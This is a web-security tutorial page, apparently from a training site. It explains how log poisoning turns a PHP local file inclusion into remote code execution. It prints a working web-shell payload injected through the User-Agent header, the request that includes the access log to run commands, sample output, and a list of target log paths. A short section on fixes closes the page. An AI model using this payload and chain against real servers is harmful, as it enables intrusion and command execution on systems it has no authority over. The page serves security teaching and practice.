File Inclusion: LFI, RFI, and the Road to RCE
Log Poisoning to RCE through LFI
Turn a local file inclusion into code execution by writing PHP into a server log through a header, then including the log so the interpreter runs your payload.
Published
Log poisoning is the classic way to turn a read-only LFI into code execution without needing a loose configuration. You write PHP into a file the server logs to, then use the inclusion to load that log so the interpreter runs your planted code. This page walks the full two-step chain and the conditions it needs. Practice on a free live target.
The idea
An include runs any PHP in the file it loads. Server logs are files, they are often readable by the web user, and they record data you control (your headers). Put a PHP payload in a logged header, then include the log, and your payload executes. No allow_url_include, no writable upload directory, just a logged field and a readable log path.
Step 1: poison a logged header
Send a request whose User-Agent carries the payload. The server writes it into the access log verbatim:
GET / HTTP/1.1
Host: target.example
User-Agent: <?php system($_GET['c']); ?>HTTP/1.1 200 OK
Content-Type: text/html
<!doctype html><title>Home</title>...Nothing special comes back, that is expected. The payload is now sitting in /var/log/apache2/access.log on the line recording this request.
Step 2: include the log and pass a command
Now point the inclusion parameter at the log path, and supply the command through the c parameter your payload reads:
GET /index.php?page=/var/log/apache2/access.log&c=id HTTP/1.1
Host: target.exampleHTTP/1.1 200 OK
Content-Type: text/html
... [many earlier access-log lines] ...
10.0.0.5 - - [25/Oct/2026:10:14:02 +0000] "GET / HTTP/1.1" 200 512 "-" "uid=33(www-data) gid=33(www-data) groups=33(www-data)
"The include loaded the entire log and parsed it as PHP. On the line recording your poisoning request, the <?php system($_GET['c']); ?> sitting in the User-Agent field executed and printed the id output in place. The rest of the log comes back as text around it, so on a busy log use distinctive command output to find your result.
Which logs, and where
The right path depends on the stack. Common includable logs:
Apache: /var/log/apache2/access.log /var/log/apache2/error.log
nginx: /var/log/nginx/access.log /var/log/nginx/error.log
httpd: /var/log/httpd/access_log /var/log/httpd/error_log
Other: /var/log/auth.log (SSH user field) /var/log/mail /var/log/vsftpd.logEdge variants when the access log is not reachable or not readable:
error.log poison it by requesting a path that 404s with your payload in the URL/Referer
auth.log inject via an SSH username (the failed-login line logs it)
?page=/var/log/nginx/access.log&c=whoami nginx, absolute path works the sameWhat breaks it
Log poisoning is reliable when three things hold, and fails when any one does not:
- The payload survives the log format. If the field is URL-encoded or escaped on the way in, your PHP tags are mangled and will not parse. Pick a field logged raw (User-Agent usually is).
- The web user can read the log. Many hardened stacks lock log file permissions to root, in which case the include returns nothing. Confirm by including the log and checking you can see its contents at all.
- The log is not too noisy. A huge, busy log can time out or truncate before your line. On a shared target your line is usually recent enough to be fine.
When logs are locked down, the next two chapters cover alternatives: the process environment and your own session file.
Fixing it
- Keep logs out of the web user's reach and never includable (non-executable, root-owned where possible).
- Allow-list include targets so a log path can never be loaded as a view.
- Do not route user input into
include, which defeats log poisoning along with every other LFI escalation.
Full guidance is in preventing file inclusion. Next, poison the process environment when logs are locked in /proc and environ exploitation, or try log poisoning on a free lab.